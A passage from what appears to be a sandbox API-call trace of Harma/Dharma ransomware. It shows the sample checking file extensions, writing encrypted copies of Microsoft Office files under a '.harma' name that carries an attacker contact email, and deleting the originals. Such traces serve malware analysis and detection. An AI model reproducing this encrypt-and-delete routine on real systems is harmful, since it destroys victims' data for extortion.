Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote.hxs.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0158.357] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote.hxs.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0158.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS") returned 59 [0158.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS") returned 59 [0158.357] lstrlenW (lpString=".doc") returned 4 [0158.357] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0158.357] lstrlenW (lpString=".docx") returned 5 [0158.357] lstrcmpiW (lpString1=".docx", lpString2="E.HXS") returned -1 [0158.357] lstrlenW (lpString=".pdf") returned 4 [0158.357] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0158.357] lstrlenW (lpString=".xls") returned 4 [0158.357] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0158.357] lstrlenW (lpString=".xlsx") returned 5 [0158.357] lstrcmpiW (lpString1=".xlsx", lpString2="E.HXS") returned -1 [0158.357] lstrlenW (lpString=".ppt") returned 4 [0158.357] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0158.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS") returned 59 [0158.357] lstrlenW (lpString=".zip") returned 4 [0158.357] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0158.357] lstrlenW (lpString=".rar") returned 4 [0158.357] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0158.357] lstrlenW (lpString=".bz2") returned 4 [0158.357] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0158.357] lstrlenW (lpString=".7z") returned 3 [0158.357] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0158.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS") returned 59 [0158.357] lstrlenW (lpString=".dbf") returned 4 [0158.357] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0158.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS") returned 59 [0158.358] lstrlenW (lpString=".1cd") returned 4 [0158.358] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0158.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS") returned 59 [0158.358] lstrlenW (lpString=".jpg") returned 4 [0158.358] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0158.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS") returned 59 [0158.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS") returned 59 [0158.358] lstrlenW (lpString=".doc") returned 4 [0158.358] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0158.358] lstrlenW (lpString=".docx") returned 5 [0158.358] lstrcmpiW (lpString1=".docx", lpString2="E.HXS") returned -1 [0158.358] lstrlenW (lpString=".pdf") returned 4 [0158.358] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0158.358] lstrlenW (lpString=".xls") returned 4 [0158.358] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0158.358] lstrlenW (lpString=".xlsx") returned 5 [0158.358] lstrcmpiW (lpString1=".xlsx", lpString2="E.HXS") returned -1 [0158.358] lstrlenW (lpString=".ppt") returned 4 [0158.358] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0158.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS") returned 59 [0158.358] lstrlenW (lpString=".zip") returned 4 [0158.358] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0158.358] lstrlenW (lpString=".rar") returned 4 [0158.358] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0158.358] lstrlenW (lpString=".bz2") returned 4 [0158.358] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0158.358] lstrlenW (lpString=".7z") returned 3 [0158.358] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0158.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS") returned 59 [0158.358] lstrlenW (lpString=".dbf") returned 4 [0158.358] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0158.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS") returned 59 [0158.359] lstrlenW (lpString=".1cd") returned 4 [0158.359] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0158.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS") returned 59 [0158.359] lstrlenW (lpString=".jpg") returned 4 [0158.359] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0158.359] lstrcmpiW (lpString1=".dll", lpString2=".harma") returned -1 [0158.359] lstrlenW (lpString="OneNoteSyncPCIntl.dll") returned 21 [0158.359] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OneNoteSyncPCIntl.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenotesyncpcintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0158.359] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=9704) returned 1 [0158.360] CloseHandle (hObject=0x380) returned 1 [0158.360] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OneNoteSyncPCIntl.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenotesyncpcintl.dll")) returned 0x20 [0158.360] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OneNoteSyncPCIntl.dll.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenotesyncpcintl.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0158.360] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OneNoteSyncPCIntl.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenotesyncpcintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0158.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OneNoteSyncPCIntl.dll") returned 69 [0158.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OneNoteSyncPCIntl.dll") returned 69 [0158.360] lstrlenW (lpString=".doc") returned 4 [0158.360] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0158.360] lstrlenW (lpString=".docx") returned 5 [0158.360] lstrcmpiW (lpString1=".docx", lpString2="l.dll") returned -1 [0158.360] lstrlenW (lpString=".pdf") returned 4 [0158.360] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0158.360] lstrlenW (lpString=".xls") returned 4 [0158.361] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0158.361] lstrlenW (lpString=".xlsx") returned 5 [0158.361] lstrcmpiW (lpString1=".xlsx", lpString2="l.dll") returned -1 [0158.361] lstrlenW (lpString=".ppt") returned 4 [0158.361] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0158.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OneNoteSyncPCIntl.dll") returned 69 [0158.361] lstrlenW (lpString=".zip") returned 4 [0158.361] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0158.361] lstrlenW (lpString=".rar") returned 4 [0158.361] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0158.361] lstrlenW (lpString=".bz2") returned 4 [0158.361] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0158.361] lstrlenW (lpString=".7z") returned 3 [0158.361] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0158.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OneNoteSyncPCIntl.dll") returned 69 [0158.361] lstrlenW (lpString=".dbf") returned 4 [0158.361] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0158.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OneNoteSyncPCIntl.dll") returned 69 [0158.361] lstrlenW (lpString=".1cd") returned 4 [0158.361] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0158.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OneNoteSyncPCIntl.dll") returned 69 [0158.361] lstrlenW (lpString=".jpg") returned 4 [0158.361] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0158.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OneNoteSyncPCIntl.dll") returned 69 [0158.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OneNoteSyncPCIntl.dll") returned 69 [0158.361] lstrlenW (lpString=".doc") returned 4 [0158.361] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0158.361] lstrlenW (lpString=".docx") returned 5 [0158.362] lstrcmpiW (lpString1=".docx", lpString2="l.dll") returned -1 [0158.362] lstrlenW (lpString=".pdf") returned 4 [0158.362] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0158.362] lstrlenW (lpString=".xls") returned 4 [0158.362] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0158.362] lstrlenW (lpString=".xlsx") returned 5 [0158.362] lstrcmpiW (lpString1=".xlsx", lpString2="l.dll") returned -1 [0158.362] lstrlenW (lpString=".ppt") returned 4 [0158.362] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0158.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OneNoteSyncPCIntl.dll") returned 69 [0158.362] lstrlenW (lpString=".zip") returned 4 [0158.362] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0158.362] lstrlenW (lpString=".rar") returned 4 [0158.362] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0158.362] lstrlenW (lpString=".bz2") returned 4 [0158.362] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0158.362] lstrlenW (lpString=".7z") returned 3 [0158.362] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0158.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OneNoteSyncPCIntl.dll") returned 69 [0158.362] lstrlenW (lpString=".dbf") returned 4 [0158.362] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0158.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OneNoteSyncPCIntl.dll") returned 69 [0158.362] lstrlenW (lpString=".1cd") returned 4 [0158.362] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0158.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OneNoteSyncPCIntl.dll") returned 69 [0158.362] lstrlenW (lpString=".jpg") returned 4 [0158.362] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0158.363] lstrcmpiW (lpString1=".HXC", lpString2=".harma") returned 1 [0158.363] lstrlenW (lpString="ONENOTE_COL.HXC") returned 15 [0158.363] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0158.363] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=631) returned 1 [0158.363] CloseHandle (hObject=0x380) returned 1 [0158.363] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_col.hxc")) returned 0x20 [0158.363] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_col.hxc.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0158.364] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0158.364] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.364] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.364] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_col.hxc.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0158.365] GetLastError () returned 0x0 [0158.365] ReadFile (in: hFile=0x380, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x277, lpOverlapped=0x0) returned 1 [0158.550] WriteFile (in: hFile=0x350, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0x280, lpOverlapped=0x0) returned 1 [0158.551] ReadFile (in: hFile=0x380, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0158.551] WriteFile (in: hFile=0x350, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0158.551] SetEndOfFile (hFile=0x350) returned 1 [0158.552] CloseHandle (hObject=0x350) returned 1 [0158.552] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.552] SetEndOfFile (hFile=0x380) returned 1 [0158.554] CloseHandle (hObject=0x380) returned 1 [0158.554] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0158.643] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_col.hxc")) returned 1 [0158.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC") returned 63 [0158.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC") returned 63 [0158.644] lstrlenW (lpString=".doc") returned 4 [0158.644] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0158.644] lstrlenW (lpString=".docx") returned 5 [0158.644] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0158.644] lstrlenW (lpString=".pdf") returned 4 [0158.644] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0158.644] lstrlenW (lpString=".xls") returned 4 [0158.644] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0158.644] lstrlenW (lpString=".xlsx") returned 5 [0158.644] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0158.645] lstrlenW (lpString=".ppt") returned 4 [0158.645] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0158.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC") returned 63 [0158.645] lstrlenW (lpString=".zip") returned 4 [0158.645] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0158.645] lstrlenW (lpString=".rar") returned 4 [0158.645] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0158.645] lstrlenW (lpString=".bz2") returned 4 [0158.645] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0158.645] lstrlenW (lpString=".7z") returned 3 [0158.645] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0158.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC") returned 63 [0158.645] lstrlenW (lpString=".dbf") returned 4 [0158.645] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0158.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC") returned 63 [0158.645] lstrlenW (lpString=".1cd") returned 4 [0158.645] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0158.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC") returned 63 [0158.645] lstrlenW (lpString=".jpg") returned 4 [0158.645] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0158.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC") returned 63 [0158.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC") returned 63 [0158.645] lstrlenW (lpString=".doc") returned 4 [0158.645] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0158.645] lstrlenW (lpString=".docx") returned 5 [0158.645] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0158.645] lstrlenW (lpString=".pdf") returned 4 [0158.645] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0158.645] lstrlenW (lpString=".xls") returned 4 [0158.645] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0158.645] lstrlenW (lpString=".xlsx") returned 5 [0158.645] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0158.646] lstrlenW (lpString=".ppt") returned 4 [0158.646] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0158.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC") returned 63 [0158.646] lstrlenW (lpString=".zip") returned 4 [0158.646] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0158.646] lstrlenW (lpString=".rar") returned 4 [0158.646] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0158.646] lstrlenW (lpString=".bz2") returned 4 [0158.646] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0158.646] lstrlenW (lpString=".7z") returned 3 [0158.646] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0158.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC") returned 63 [0158.646] lstrlenW (lpString=".dbf") returned 4 [0158.646] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0158.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC") returned 63 [0158.646] lstrlenW (lpString=".1cd") returned 4 [0158.646] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0158.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC") returned 63 [0158.646] lstrlenW (lpString=".jpg") returned 4 [0158.646] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0158.646] lstrcmpiW (lpString1=".VSL", lpString2=".harma") returned 1 [0158.646] lstrlenW (lpString="ORGCHART.VSL") returned 12 [0158.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgchart.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0158.648] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=57248) returned 1 [0158.648] CloseHandle (hObject=0x368) returned 1 [0158.648] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgchart.vsl")) returned 0x20 [0158.654] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgchart.vsl.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0158.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgchart.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0158.654] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.654] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.655] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgchart.vsl.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0158.655] GetLastError () returned 0x0 [0158.655] ReadFile (in: hFile=0x368, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0xdfa0, lpOverlapped=0x0) returned 1 [0158.658] WriteFile (in: hFile=0x380, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0xdfb0, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0xdfb0, lpOverlapped=0x0) returned 1 [0158.660] ReadFile (in: hFile=0x368, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0158.660] WriteFile (in: hFile=0x380, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0xec, lpOverlapped=0x0) returned 1 [0158.660] SetEndOfFile (hFile=0x380) returned 1 [0158.660] CloseHandle (hObject=0x380) returned 1 [0158.660] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.660] SetEndOfFile (hFile=0x368) returned 1 [0158.663] CloseHandle (hObject=0x368) returned 1 [0158.663] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0158.663] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgchart.vsl")) returned 1 [0158.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL") returned 60 [0158.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL") returned 60 [0158.664] lstrlenW (lpString=".doc") returned 4 [0158.664] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0158.664] lstrlenW (lpString=".docx") returned 5 [0158.664] lstrcmpiW (lpString1=".docx", lpString2="T.VSL") returned -1 [0158.664] lstrlenW (lpString=".pdf") returned 4 [0158.664] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0158.664] lstrlenW (lpString=".xls") returned 4 [0158.664] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0158.664] lstrlenW (lpString=".xlsx") returned 5 [0158.664] lstrcmpiW (lpString1=".xlsx", lpString2="T.VSL") returned -1 [0158.664] lstrlenW (lpString=".ppt") returned 4 [0158.664] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0158.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL") returned 60 [0158.664] lstrlenW (lpString=".zip") returned 4 [0158.664] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0158.664] lstrlenW (lpString=".rar") returned 4 [0158.664] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0158.665] lstrlenW (lpString=".bz2") returned 4 [0158.665] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0158.665] lstrlenW (lpString=".7z") returned 3 [0158.665] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0158.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL") returned 60 [0158.665] lstrlenW (lpString=".dbf") returned 4 [0158.665] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0158.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL") returned 60 [0158.665] lstrlenW (lpString=".1cd") returned 4 [0158.665] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0158.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL") returned 60 [0158.665] lstrlenW (lpString=".jpg") returned 4 [0158.665] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0158.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL") returned 60 [0158.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL") returned 60 [0158.665] lstrlenW (lpString=".doc") returned 4 [0158.665] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0158.665] lstrlenW (lpString=".docx") returned 5 [0158.665] lstrcmpiW (lpString1=".docx", lpString2="T.VSL") returned -1 [0158.665] lstrlenW (lpString=".pdf") returned 4 [0158.665] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0158.665] lstrlenW (lpString=".xls") returned 4 [0158.665] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0158.665] lstrlenW (lpString=".xlsx") returned 5 [0158.665] lstrcmpiW (lpString1=".xlsx", lpString2="T.VSL") returned -1 [0158.665] lstrlenW (lpString=".ppt") returned 4 [0158.665] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0158.665] lstrlenW (lpString="C:\\Program Files\\Microsoft 